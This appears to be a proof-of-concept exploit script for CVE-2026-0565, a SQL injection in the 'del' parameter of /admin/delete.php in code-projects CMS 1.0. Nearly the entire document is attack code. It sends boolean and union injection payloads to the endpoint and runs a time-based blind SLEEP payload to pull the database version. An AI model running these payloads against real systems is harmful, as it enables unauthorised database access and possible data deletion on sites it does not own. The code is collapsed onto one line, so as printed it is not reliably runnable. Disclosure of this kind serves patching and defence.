CVE-2026-0565 code-projects CMS 1.0 /admin/delete.php SQL注入漏洞

import requests # CVE-2026-0565 PoC - SQL Injection in /admin/delete.php # Target: code-projects Content Management System 1.0 # Vulnerability: SQL Injection via 'del' parameter target_url = "http://target.com/admin/delete.php" # Basic SQL injection test - Boolean based payloads = [ "1' OR '1'='1", # Basic injection "1' UNION SELECT 1,2,3,4--", # Union-based injection "1' AND 1=1--", # Boolean true condition "1' AND 1=2--", # Boolean false condition ] def test_sql_injection(url, param='del'): print(f"[*] Testing SQL Injection on {url}") for payload in payloads: data = {param: payload} try: response = requests.post(url, data=data, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") def extract_database_info(url): # Time-based blind SQL injection for data extraction # Example: Extract database version time_payload = "1' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--" data = {'del': time_payload} print(f"[*] Extracting database information...") print(f"[*] Payload: {time_payload}") try: response = requests.post(url, data=data, timeout=15) print(f"[+] Response received") except requests.exceptions.Timeout: print(f"[+] Time-based injection confirmed - database version likely 5.x") if __name__ == "__main__": test_sql_injection(target_url) extract_database_info(target_url)